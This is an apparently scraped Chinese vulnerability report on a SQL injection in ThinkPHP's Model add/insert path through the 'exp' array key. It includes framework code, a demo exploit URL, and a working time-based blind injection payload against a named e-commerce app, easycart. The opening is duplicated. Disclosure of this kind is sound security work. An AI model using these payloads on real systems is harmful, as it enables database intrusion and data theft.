### 简要描述: thinkphp 某处缺陷可造成sql注射 ### 详细说明: 下载最新的版本: 强调一下和ph大神的漏洞 信息不一样 地方和函数都不一样 他那个已经被修复了 写一个demo: ``` public function test(){ $data = $_GET['data']; $u = M('Data')->data(array( 'data' => $data ))->add(); dump($u); } ``` 问题出在哪里: 先看看data函数: ``` public function data($data=''){ if('' === $data && !empty($this->data)) { return $this->data; } if(is_object($data)){ $data = get_object_vars($data); }elseif(is_string($data)){ parse_str($data,$data); }elseif(!is_array($data)){ E(L('_DATA_TYPE_INVALID_')); } $this->data = $data; return $this; } ``` 没有做任何处理 然后数据流入到了add函数里面: ``` public function add($data='',$options=array(),$replace=false) { if(empty($data)) { // 没有传递数据,获取当前数据对象的值 if(!empty($this->data)) { $data = $this->data; // 重置数据 $this->data = array(); }else{ $this->error = L('_DATA_TYPE_INVALID_'); return false; } } // 数据处理 $data = $this->_facade($data); // 分析表达式 $options = $this->_parseOptions($options); if(false === $this->_before_insert($data,$options)) { return false; } // 写入数据到数据库...
### 简要描述: thinkphp 某处缺陷可造成sql注射 ### 详细说明: 下载最新的版本: 强调一下和ph大神的漏洞 信息不一样 地方和函数都不一样 他那个已经被修复了 写一个demo: ``` public function test(){ $data = $_GET['data']; $u = M('Data')->data(array( 'data' => $data ))->add(); dump($u); } ``` 问题出在哪里: 先看看data函数: ``` public function data($data=''){ if('' === $data && !empty($this->data)) { return $this->data; } if(is_object($data)){ $data = get_object_vars($data); }elseif(is_string($data)){ parse_str($data,$data); }elseif(!is_array($data)){ E(L('_DATA_TYPE_INVALID_')); } $this->data = $data; return $this; } ``` 没有做任何处理 然后数据流入到了add函数里面: ``` public function add($data='',$options=array(),$replace=false) { if(empty($data)) { // 没有传递数据,获取当前数据对象的值 if(!empty($this->data)) { $data = $this->data; // 重置数据 $this->data = array(); }else{ $this->error = L('_DATA_TYPE_INVALID_'); return false; } } // 数据处理 $data = $this->_facade($data); // 分析表达式 $options = $this->_parseOptions($options); if(false === $this->_before_insert($data,$options)) { return false; } // 写入数据到数据库 $result = $this->db->insert($data,$options,$replace); ``` 其他的都不用看 主要看insert函数: ``` public function insert($data,$options=array(),$replace=false) { $values = $fields = array(); $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); foreach ($data as $key=>$val){ if(is_array($val) && 'exp' == $val[0]){ $fields[] = $this->parseKey($key); $values[] = $val[1]; }elseif(is_scalar($val)) { // 过滤非标量数据 $fields[] = $this->parseKey($key); if(0===strpos($val,':') && in_array($val,array_keys($this->bind))){ $values[] = $this->parseValue($val); }else{ $name = count($this->bind); $values[] = ':'.$name; $this->bindParam($name,$val); } } } // 兼容数字传入方式 $replace= (is_numeric($replace) && $replace>0)?true:$replace; $sql = (true===$replace?'REPLACE':'INSERT').' INTO '.$this->parseTable($options['table']).' ('.implode(',', $fields).') VALUES ('.implode(',', $values).')'.$this->parseDuplicate($replace); $sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:''); return $this->execute($sql,!empty($options['fetch_sql']) ? true : false); ``` 最终VALUES ('.implode(',', $values).') 这样一来我们就可以无视gpc函数进行注入了 if(is_array($val) && 'exp' == $val[0]){ $fields[] = $this->parseKey($key); $values[] = $val[1]; http://localhost:8081/phpthink/index.php?a=test&data[0]=exp&data[1]=1,2,3,4,5&data[2]=2 后台抓取sql语句为: 2015/1/29 12:56 INSERT INTO `think_data` (`data`) VALUES (1,2,3,4,5) [<img src="https://images.seebug.org/upload/201505/221752254a8089c2cfe0895fa31c07a2821c4d39.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/221752254a8089c2cfe0895fa31c07a2821c4d39.png) 然后 我们在看一下 现实中的例子 我们那原创中国easycart MemberIndex.class.php: ``` public function doShippingAddress(){ self::$Model=D("Shippingaddress"); $list=self::$Model->where("id=".$this->memberID)->find(); if (self::$Model->create()){ //邮件订阅 $model=D('Newsletter'); if(isset($_POST['isNewsletter']) && $_POST['isNewsletter']==1){ $data['email']=$_POST['email']; $data['addtime']=time(); if(isset($_POST['id']) && $_POST['id']>0){ $map['memberid']=$data['memberid']=$_POST['id']; if($_POST['Newsletter_id']){ $map['id']=$_POST['Newsletter_id']; } $map['_logic']='or'; if(false == $model->where($map)->save($data)){ $model->add($data); } } ``` 这里面的id正好符合要求: url: http://localhost/easycart/index.php/MemberIndex-doShippingAddress.html postdata: id[0]=exp&id[1]=if(ascii((substr((select user()),1,1)))=114,sleep(5),1)&Newsletter_id=1 抓取sql语句为: INSERT INTO `ec_shippingaddress` (`id`) VALUES (if(ascii((substr((select user()),1,1)))=114,sleep(5),1)) 这样一来就可以进行全站信息枚举 ### 漏洞证明: